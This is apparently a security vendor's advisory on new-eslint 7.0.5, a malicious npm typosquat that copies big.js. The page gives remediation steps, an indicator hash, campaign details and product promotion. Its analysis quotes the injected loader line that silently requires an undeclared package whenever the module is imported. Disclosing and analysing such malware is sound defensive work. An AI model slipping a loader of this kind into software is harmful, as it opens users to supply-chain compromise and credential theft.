Which versions of new-eslint are malicious?

The following npm versions of new-eslint are flagged malicious: 7.0.5. Treat any of these as compromised.

How do I remediate new-eslint if I installed it?

new-eslint is a typosquat — you almost certainly intended a legitimately-named package. Remove new-eslint, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed new-eslint — how do I know if it already compromised me?

If new-eslint was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is new-eslint part of a known attack campaign?

Yes — new-eslint is associated with the IN-MAL-2026-007067 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find new-eslint across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for new-eslint (version 7.0.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging new-eslint across your stack and pipelines.

Malicious package

new-eslintnpm

new-eslint is a confirmed malicious npm package (MAL-2026-6224) that typosquats a legitimate package to trick installs (malicious version 7.0.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in new-eslint (npm)

MAL-2026-6224

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall new-eslint

What this malware does

Package is published as 'new-eslint' but ships a verbatim copy of MikeMcl/big.js, with a hidden loader injected mid-file between P.minus and P.mod in both big.js:605 and big.mjs:605: const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. This require fires whenever a consumer imports or requires the package and silently swallows all errors. The required package ts-eslint-helper is not declared in package.json — the manifest lists a different package, [email protected] — so the loaded code is undeclared and attacker-mutable. The README claims 'no dependencies' and describes big.js, while the package name impersonates eslint tooling: classic typosquat lure plus hidden remote-controlled loader. Whatever ts-eslint-helper.from_str() does runs in the installer's process on import with no advertised functionality justifying it.

Malicious versions

1 flagged

7.0.5

Indicators of compromise (SHA-256)

6f068a5c7ad1a53c60d794a3b4585418956c176c42b8d5d90855e2ac60962b25

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for new-eslint (version 7.0.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging new-eslint across your stack and pipelines.
If you installed it — respond
new-eslint is a typosquat — you almost certainly intended a legitimately-named package. Remove new-eslint, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If new-eslint was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks new-eslint before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. new-eslint on npm has been identified as a malicious package (version 7.0.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007067

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks new-eslint-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

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